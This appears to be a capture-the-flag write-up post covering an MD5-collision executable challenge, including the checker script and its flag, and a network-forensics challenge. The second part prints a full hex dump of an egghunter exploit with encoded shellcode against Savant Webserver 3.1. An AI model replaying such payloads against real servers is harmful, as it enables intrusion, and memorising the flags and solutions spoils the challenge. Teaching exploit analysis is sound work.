#| |      / /     | | |  '_.____''.  | | |     | |      | | |    |  __'.   | |
#| |     / /      | | |  | \____) |  | | |    _| |_     | | |   _| |__) |  | |
#| |    /_/       | | |   \______.'  | | |   |_____|    | | |  |_______/   | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |  _________   | | |    _____     | | |     __       | | |  ________    | |
#| | |_   ___  |  | | |   / ___ `.   | | |    /  |      | | | |_   ___ `.  | |
#| |   | |_  \_|  | | |  |_/___) |   | | |    `| |      | | |   | |   `. \ | |
#| |   |  _|  _   | | |   .'____.'   | | |     | |      | | |   | |    | | | |
#| |  _| |___/ |  | | |  / /____     | | |    _| |_     | | |  _| |___.' / | |
#| | |_________|  | | |  |_______|   | | |   |_____|    | | | |________.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |     __       | | |    ______    | | |    ______    | | |   _    _     | |
#| |    /  |      | | |   / ____ `.  | | |  .' ____ \   | | |  | |  | |    | |
#| |    `| |      | | |   `'  __) |  | | |  | |____\_|  | | |  | |__| |_   | |
#| |     | |      | | |   _  |__ '.  | | |  | '____`'.  | | |  |____   _|  | |
#| |    _| |_     | | |  | \____) |  | | |  | (____) |  | | |      _| |_   | |
#| |   |_____|    | | |   \______.'  | | |  '.______.'  | | |     |_____|  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. | .--------------. |
#| |      __      | | |   _______    | | |     ____     | | |    ______    | |
#| |     /  \     | | |  |  _____|   | | |   .' __ '.   | | |  .' ____ \   | |
#| |    / /\ \    | | |  | |____     | | |   | (__) |   | | |  | |____\_|  | |
#| |   / ____ \   | | |  '_.____''.  | | |   .`____'.   | | |  | '____`'.  | |
#| | _/ /    \ \_ | | |  | \____) |  | | |  | (____) |  | | |  | (____) |  | |
#| ||____|  |____|| | |   \______.'  | | |  `.______.'  | | |  '.______.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. |
#| |     ____     | | |     ____     | | |     __       | |
#| |   .'    '.   | | |   .'    '.   | | |    \_ `.     | |
#| |  |  .--.  |  | | |  |  .--.  |  | | |      | |     | |
#| |  | |    | |  | | |  | |    | |  | | |       > >    | |
#| |  |  `--'  |  | | |  |  `--'  |  | | |     _| |     | |
#| |   '.____.'   | | |   '.____.'   | | |    /__.'     | |
#| |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------'

 

Write ups

Write ups for this challenge from others can be found here:

 

ebCTF – BIN400

Description

Please upload 5 Windows console executable files with the same MD5 but with different printed outputs (file type: MS Windows, PE32 executable, console)

The output for the files should be:
File1: All Eindbazen are wearing wooden shoes
File2: All Eindbazen live in a windmill
File3: All Eindbazen grow their own tulips
File4: All Eindbazen smoke weed all day
File5: All Eindbazen are cheap bastards

NOTE: The goal of this challenge is NOT to attack this webservice, this is NOT a WEB challenge.

Solution

The idea behind this challenge was to follow a similar approach as described in this article:

Thice.nl: Meaningful MD5 Collisions: Creating executables

Using the Perl script from that article we can generate the source code which we can then adjust to this challenge:

int main () {
char output[2];

// Collision space holder 1
char collision1[] = "AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00AA00";
// Collision check character space holder 1
char checkchar1[] = "\x01"; 
// Check if collision contains check character
if (strchr(collision1,checkchar1[0])) {
output[0] = '0';
} else {
output[0] = '1';
}

// Random (0-9a-zA-Z) buffer data
char buffer1[] = "PtVLZelzDXB4CELbqAAKUxSbhygoFFr4wRKqGu74ldwUV51oDiMWeGQieSboRMuorynac7v6maaxLLb7rjPUTZEfz552JbHU9kMW0L8MaZkvZeMyibJRZNgGWkohQWaZiLa7FTOBS6AOTRDqd3G8vvHMwYaZiQ4WNZGPW90xWykuhvkCN1YrxG6q";


// Collision space holder 2
char collision2[] = "AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01AA01";
// Collision check character space holder 2
char checkchar2[] = "\x02"; 
// Check if collision contains check character
if (strchr(collision2,checkchar2[0])) {
output[1] = '0';
} else {
output[1] = '1';
}

// Random (0-9a-zA-Z) buffer data
char buffer2[] = "rvQubReroYFwRow4qEZUM8DacogPSExbmbSZqTu8fgcn0flvQEpkvqVZuuI9eQHc9WzudC3uSfaZeim06avoIcAjjB9w9D9pHyTmb3yobQWQCjtngDNImnPhUhDCzmJGQVVciHCRSEw1sHfpqItP4W68Rqbrb4CwgvsMOuwVFaWYKgLcBHIqHglh";


// Collision space holder 3
char collision3[] = "AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02AA02";
// Collision check character space holder 3
char checkchar3[] = "\x03"; 
// Check if collision contains check character
if (strchr(collision3,checkchar3[0])) {
output[2] = '0';
} else {
output[2] = '1';
}

// Random (0-9a-zA-Z) buffer data
char buffer3[] = "nJYPppqw9MVUTi1h8J7ma4omBwbrxza7e0UouXyMkCT19JxjATjx6MdvHJxEzuO92AzeVUxKM60U43vOISUtjDzhlghFjhfZpJlwfnp0i2UyF4jSPuitj6jlsfHlvNYBtEjIsHGaWEV3AIrlHkrpmHOqi8K9hlspuyuryZdHLBjtdRQ9YBY6xk9f";

// Output something different for each outcome

if (strstr(output,"000")) { printf("All Eindbazen are wearing wooden shoes\n"); }
if (strstr(output,"001")) { printf("All Eindbazen live in a windmill\n"); }
if (strstr(output,"010")) { printf("All Eindbazen grow their own tulips\n"); }
if (strstr(output,"011")) { printf("All Eindbazen smoke weed all day\n"); }
if (strstr(output,"100")) { printf("All Eindbazen are cheap bastards\n"); }

char amount[] = "#####5#####";
return 0;
}

When we compile this source code and then add the collisions with the Perl script we end up with 5 executables.

Output of the executables:

C:\>BIN300solution.exe.000
All Eindbazen are wearing wooden shoes

C:\>BIN300solution.exe.001
All Eindbazen live in a windmill

C:\>BIN300solution.exe.010
All Eindbazen grow their own tulips

C:\>BIN300solution.exe.011
All Eindbazen smoke weed all day

C:\>BIN300solution.exe.100
All Eindbazen are cheap bastards

 

MD5 sums:

C:\>md5deep64.exe *
52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.000
52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.001
52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.010
52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.011
52c10e387ab2e5274135984b6fc2cc4e C:\BIN300solution.exe.100

SHA1 sums:

c:\>sha1deep64.exe *
a069f0dcca65c54e86a1dcd95a3edf497ed6074c c:\BIN300solution.exe.000
a119770c7065d1a8ae556a02a5764af0ba2df576 c:\BIN300solution.exe.001
527af4c6defaa15f4f3878960999af1db68ca72d c:\BIN300solution.exe.010
f3dc4967cb61c0fe7a26af94945cea04f6108be1 c:\BIN300solution.exe.011
dcfadef83d141321fde7c838da275242356024be c:\BIN300solution.exe.100

 

Source code

The solution files can be downloaded here: ebCTF_BIN300_solution.7z

The following script was used to check the different executables that got uploaded:

#!/usr/bin/perl -w

use CGI;

# Config
my $tmpdir = "/tmp/tmp";
my $savedir = "/tmp/save";
$flag = "ebCTF{c2a153312d9b0887a0c58ccabdda9b0c}";
$line[1] = "All Eindbazen are wearing wooden shoes";
$line[2] = "All Eindbazen live in a windmill";
$line[3] = "All Eindbazen grow their own tulips";
$line[4] = "All Eindbazen smoke weed all day";
$line[5] = "All Eindbazen are cheap bastards";

my $query = new CGI;

# print output header
print $query->header ( );
htmlhead();

# tmpfilename names
$filename = "file.".time().rand();

$CGI::POST_MAX = 1024 * 100;  # maximum upload filesize is 10mb

# Go through uploaded files and save them
my $i;
for ($i=1;$i<=5;$i++) {
  my $upload_filehandle = $query->upload("file".$i);
  open ( UPLOADFILE, ">$tmpdir/".$filename.".".$i ) or die "$!";
  binmode UPLOADFILE;

  #print "<br>Done uploading file".$i."\n";
  while ( <$upload_filehandle> ) {
    print UPLOADFILE;
  }
  close UPLOADFILE;
  if (-s $tmpdir."/".$filename.".".$i > 5000000) { fail(5); }
}

# MD5 checking
$md5check1 = `md5sum $tmpdir/$filename.1 | cut -d " " -f 1`;
for ($i=2;$i<=5;$i++) {
  $md5check2 = `md5sum $tmpdir/$filename.$i | cut -d " " -f 1`;
  if ($md5check1 ne $md5check2) {
    fail(1);
  }
}

print "<br>GOOD! All MD5sums are the same!\n";
# SHA1 checking
$sha_1 = `sha1sum $tmpdir/$filename.1 | cut -d " " -f 1`;
$sha_2 = `sha1sum $tmpdir/$filename.2 | cut -d " " -f 1`;
# First check to make sure we do not calculate SHA1 on the same files
if ($sha_1 eq $sha_2) { fail(2); }
$sha_3 = `sha1sum $tmpdir/$filename.3 | cut -d " " -f 1`;
$sha_4 = `sha1sum $tmpdir/$filename.4 | cut -d " " -f 1`;
$sha_5 = `sha1sum $tmpdir/$filename.5 | cut -d " " -f 1`;
# Checking all SHA1 hashes against eachother
if ($sha_1 ne $sha_3 && $sha_1 ne $sha_4 && $sha_1 ne $sha_5 &&
    $sha_2 ne $sha_3 && $sha_2 ne $sha_4 && $sha_1 ne $sha_5 &&
    $sha_3 ne $sha_4 && $sha_3 ne $sha_5 &&
    $sha_4 ne $sha_5 ) {
  print "<br>GOOD! All SHA1sums are different!\n";

  # Checking if files are the right kind of files
  for ($i=1;$i<=5;$i++) {
    $filetype = `file $tmpdir/$filename.$i| cut -d ":" -f 2`;
    chomp($filetype);
    if ($filetype !~ "PE32 executable" || $filetype !~ "MS Windows" || $filetype !~ "(console)") {
      fail(6);
    }
  }

  # Checking each program 5 times to see if there is no random function
  for ($i=1;$i<=5;$i++) {
    $check1 = `HOME=/tmp/wine wine $tmpdir/$filename.$i`;
    for ($c=1;$c<=4;$c++) {
       $check2 = `HOME=/tmp/wine wine $tmpdir/$filename.$i`;
       if ($check1 ne $check2) { fail(3) }
    }
    $check1 =~ s/\r//ig;
    $check1 =~ s/\n//ig;
    # Check if programs give the correct output
    if ($check1 eq $line[$i]) {
      print "<br>GOOD! file".$i." gives the right output!\n";
    } else {
      fail(4,$i);
    }
  }
  # If no FAIL, then flag :)
  flag();
} else {
  fail(2);
}

# Output failed attempt reasons
sub fail {
  if ($_[0] == 1) { print "<br>FAIL! Your MD5sums do NOT match!<br>(They should!)\n"; }
  if ($_[0] == 2) { print "<br>FAIL! Your SHA1sums DO match!<br>(They should not!)\n"; }
  if ($_[0] == 3) { print "<br>FAIL! Your programs do not output the same each time!<br>(Do not use random functions!)\n"; }
  if ($_[0] == 4) { print "<br>FAIL! File".$_[1]." does not print the correct line!<br>It should have been: ".$line[$_[1]]."\n"; }
  if ($_[0] == 5) { print "<br>FAIL! The file you uploaded is way to large, please keep it under 5MB\n"; }
  if ($_[0] == 6) { print "<br>FAIL! The files should be Windows console executables!<br>(Linux file output should contain: MS Windows, PE32 executable, console\n"; }
  # Removing files
  `rm $tmpdir/$filename.1 $tmpdir/$filename.2 $tmpdir/$filename.3 $tmpdir/$filename.4 $tmpdir/$filename.5`;
  htmlfoot();
  exit;
}

sub flag {
  # Output the flag
  print "<h1>Well Done! Here is your flag!<br>".$flag."</h1>";
  htmlfoot();
  # Save the solution
  print `tar -czf $tmpdir/archive_$filename.tar.gz $tmpdir/$filename.1 $tmpdir/$filename.2 $tmpdir/$filename.3 $tmpdir/$filename.4 $tmpdir/$filename.5`;
}

sub htmlhead {
print '<!DOCTYPE html>
<!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->
<!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8"> <![endif]-->
<!--[if IE 8]>         <html class="no-js lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js"> <!--<![endif]-->
    <head>
        <meta charset="utf-8">
        <meta http-equiv="content-type" content="text/html; charset=UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
        <meta name="description" content="ebCTF BIN400 MD5 colliding">

        <link rel="stylesheet" href="/css/normalize.css">
        <link rel="stylesheet" href="/css/main.css">

        <title>ebCTF BIN400 MD5 colliding</title>
    </head>
    <body>

<div id="gamewrapper">
       <div id="gameheader">
        <center><img src="/logosmall.png" width="400" height="128"/></center>

        <h2>ebCTF BIN400 MD5 colliding</h2>';
}

sub htmlfoot {
print '
     </div>
   </div>
  </body>
</html>';
}

Write ups

Write ups for this challenge from others can be found here:

 

ebCTF – NET400

Description

The Eindbazen ‘Forensic Unit Computer Knowledge & Advanced Persistent Threats’ and the ‘Special Unit Cracking Kiddies Investigations Team’ are currently investigating a new Scriptkiddie Group working under the name of ‘The Figuurzagers’. This team is suspected of hacking various crappy protected environments to place flags on these systems. The NFI provided us with a network tap of one of the attacks. Could you recover the flag for us?

Note: The file is in TIIT format
Encryption key: hashlib.sha256(“OHM2013 X Y!”).digest()[0:24] where X and Y represent lowercase English words that start with an r
Target Identifier: md5(eindbazen)
Provider Identifier: 51040
Hint: Remember, the first PDU will be “HI2: Start Session”

I wrote the scenario and the last part of the NET400 challenge, which was further created by the Dutch Forensic Institute (NFI). For the first part of the challenge I have to point you to the excellent write up at the end of this part. The second part of the challenge was to analyze the PCAP file, the cleartext PCAP file can be found here.

Looking at the PCAP we can see that a request is done in tcp.stream 1, which contained a pretty big hint what it was.

net400_savant

The Savant Webserver version 3.1 seems to be vulnerable to a remote exploit, as can be seen on Exploit-DB. We can find the exploit code in tcp.stream 8:

net400_exploit

The exploit code is visible, with the first part of the code being an egghunter, and the egg for the egghunter being HawkHawk. The full exploit code in Hex & Ascii:

00000000 7f 7f 20 2f 90 90 90 90 90 90 90 90 90 90 90 90 .. /.... ........
00000010 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000030 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000040 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000050 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000060 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ........ ........
00000070 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 89 ........ ........
00000080 e0 db d8 d9 70 f4 5f 57 59 49 49 49 49 49 49 49 ....p._W YIIIIIII
00000090 49 49 49 43 43 43 43 43 43 37 51 5a 6a 41 58 50 IIICCCCC C7QZjAXP
000000A0 30 41 30 41 6b 41 41 51 32 41 42 32 42 42 30 42 0A0AkAAQ 2AB2BB0B
000000B0 42 41 42 58 50 38 41 42 75 4a 49 51 76 6e 61 49 BABXP8AB uJIQvnaI
000000C0 5a 6b 4f 56 6f 77 32 42 72 61 7a 34 42 31 48 4a ZkOVow2B raz4B1HJ
000000D0 6d 34 6e 67 4c 76 65 33 6a 72 54 58 6f 4d 68 31 m4ngLve3 jrTXoMh1
000000E0 58 70 61 63 47 42 4b 4e 6b 78 7a 6c 6f 72 55 4b XpacGBKN kxzlorUK
000000F0 5a 6c 6f 42 55 38 67 59 6f 58 67 41 41 42 42 42 ZloBU8gY oXgAABBB
00000100 42 d8 87 41 00 0d 0a 0d 0a 48 61 77 6b 48 61 77 B..A.... .HawkHaw
00000110 6b 89 e2 d9 e1 d9 72 f4 58 50 59 49 49 49 49 49 k.....r. XPYIIIII
00000120 49 49 49 49 49 43 43 43 43 43 43 37 51 5a 6a 41 IIIIICCC CCC7QZjA
00000130 58 50 30 41 30 41 6b 41 41 51 32 41 42 32 42 42 XP0A0AkA AQ2AB2BB
00000140 30 42 42 41 42 58 50 38 41 42 75 4a 49 78 59 7a 0BBABXP8 ABuJIxYz
00000150 4b 4d 4b 59 49 63 44 34 64 49 64 65 61 58 52 58 KMKYIcD4 dIdeaXRX
00000160 32 72 57 50 31 68 49 31 74 4e 6b 50 71 54 70 6e 2rWP1hI1 tNkPqTpn
00000170 6b 44 36 36 6c 6c 4b 33 46 47 6c 4c 4b 31 56 66 kD66llK3 FGlLK1Vf
00000180 68 6e 6b 73 4e 45 70 4e 6b 55 66 50 38 50 4f 56 hnksNEpN kUfP8POV
00000190 78 73 45 69 63 32 79 53 31 5a 71 39 6f 39 71 73 xsEic2yS 1Zq9o9qs
000001A0 50 4e 6b 50 6c 55 74 54 64 4e 6b 72 65 55 6c 6e PNkPlUtT dNkreUln
000001B0 6b 42 74 36 48 31 68 75 51 7a 4a 6e 6b 33 7a 35 kBt6H1hu QzJnk3z5
000001C0 48 4c 4b 31 4a 65 70 35 51 48 6b 79 73 70 34 30 HLK1Jep5 QHkysp40
000001D0 49 6c 4b 57 44 6c 4b 45 51 78 6e 66 51 6b 4f 46 IlKWDlKE QxnfQkOF
000001E0 51 69 50 59 6c 6c 6c 4c 44 69 50 32 54 36 67 4a QiPYlllL DiP2T6gJ
000001F0 61 68 4f 34 4d 66 61 39 57 78 6b 79 64 35 6b 51 ahO4Mfa9 Wxkyd5kQ
00000200 6c 54 64 66 48 52 55 69 71 4c 4b 31 4a 54 64 43 lTdfHRUi qLK1JTdC
00000210 31 78 6b 42 46 4e 6b 74 4c 72 6b 6c 4b 50 5a 37 1xkBFNkt LrklKPZ7
00000220 6c 65 51 38 6b 4c 4b 33 34 6e 6b 46 61 4d 38 4b leQ8kLK3 4nkFaM8K
00000230 39 73 74 46 44 75 4c 73 51 4a 63 38 32 76 68 55 9stFDuLs QJc82vhU
00000240 79 4e 34 4e 69 4b 55 4b 39 48 42 55 38 6c 4e 52 yN4NiKUK 9HBU8lNR
00000250 6e 76 6e 68 6c 51 42 6d 38 4d 4f 6b 4f 69 6f 6b nvnhlQBm 8MOkOiok
00000260 4f 4c 49 73 75 74 44 4d 6b 63 4e 58 58 48 62 62 OLIsutDM kcNXXHbb
00000270 53 6d 57 67 6c 31 34 32 72 38 68 4c 4e 69 6f 79 SmWgl142 r8hLNioy
00000280 6f 59 6f 6d 59 37 35 73 38 73 58 50 6c 42 4c 35 oYomY75s 8sXPlBL5
00000290 70 37 31 62 48 55 63 70 32 34 6e 33 54 73 58 31 p71bHUcp 24n3TsX1
000002A0 65 33 43 42 45 50 72 6b 38 63 6c 65 74 64 4a 4f e3CBEPrk 8cletdJO
000002B0 79 58 66 32 76 79 6f 72 75 34 44 4b 39 49 52 30 yXf2vyor u4DK9IR0
000002C0 50 4f 4b 39 38 6f 52 32 6d 6d 6c 6c 47 37 6c 66 POK98oR2 mmllG7lf
000002D0 44 73 62 48 68 61 71 39 6f 59 6f 4b 4f 31 78 55 DsbHhaq9 oYoKO1xU
000002E0 6a 66 4d 62 64 66 38 71 78 34 70 36 50 45 71 55 jfMbdf8q x4p6PEqU
000002F0 70 71 78 50 4e 73 75 51 44 54 74 33 58 55 39 62 pqxPNsuQ DTt3XU9b
00000300 4e 65 37 37 50 65 38 42 53 50 6f 72 4c 53 46 70 Ne77Pe8B SPorLSFp
00000310 68 51 30 42 4f 32 4e 71 30 70 68 63 42 55 31 43 hQ0BO2Nq 0phcBU1C
00000320 44 63 43 50 68 63 73 52 4f 50 6e 70 67 46 51 6b DcCPhcsR OPnpgFQk
00000330 6b 6b 38 71 4c 66 44 47 6f 6f 79 48 63 62 48 45 kk8qLfDG ooyHcbHE
00000340 36 56 58 71 6d 31 48 32 48 76 57 63 55 50 31 64 6VXqm1H2 HvWcUP1d
00000350 70 62 48 70 66 34 75 50 34 30 37 45 38 54 74 47 pbHpf4uP 407E8TtG
00000360 47 46 53 70 65 62 48 46 59 65 69 45 62 74 79 63 GFSpebHF YeiEbtyc
00000370 58 56 56 30 39 66 57 70 30 30 68 67 45 45 69 71 XVV09fWp 00hgEEiq
00000380 73 35 69 71 78 46 53 50 31 30 66 70 37 42 48 77 s5iqxFSP 10fp7BHw
00000390 36 31 6b 76 59 72 45 33 58 65 35 35 32 62 63 31 61kvYrE3 Xe552bc1
000003A0 44 75 38 63 51 62 47 65 6a 75 70 45 38 55 35 67 Du8cQbGe jupE8U5g
000003B0 50 70 66 62 4c 61 78 61 63 47 50 32 54 75 38 43 PpfbLaxa cGP2Tu8C
000003C0 58 34 32 73 55 51 30 33 59 35 38 51 31 65 70 57 X42sUQ03 Y58Q1epW
000003D0 38 43 55 50 68 37 50 50 6a 52 4f 32 42 33 58 72 8CUPh7PP jRO2B3Xr
000003E0 6e 61 79 50 63 52 45 70 31 79 59 6b 38 70 4c 61 nayPcREp 1yYk8pLa
000003F0 34 73 73 4f 79 58 61 45 61 48 52 63 5a 43 70 73 4ssOyXaE aHRcZCps
00000400 63 56 31 43 62 6b 4f 5a 70 66 51 6b 70 66 30 59 cV1CbkOZ pfQkpf0Y
00000410 6f 53 65 36 68 41 41                            oSe6hAA

This exploit code could be analyzed by replaying it against the vulnerable software, static analysis or by loading the shellcode in to OllyDbg:

To load the shellcode (only the part after the egg, HawkHawk) in OllyDbg we load a random binary (in this case notepad.exe) in it, copy the shellcode in our buffer (in Hex values) select a bunch of lines and then right mouse click and select “Edit–>Binary Paste”. The result will look like this:

net400_olly

If we select the first line and set the “New origin here” (right mouse menu) the shellcode will be ready for execution. Dont forget to set the memory access to full if you run in to errors (Memory Map (Alt-M), select memory segment, right mouse clock, set access–>full), this happens when memory protection is on.

If the shellcode executes correctly you will end up with the following pop-up:

net400_flag

Write ups

Write ups for this challenge from others can be found here:

So, what do you think ?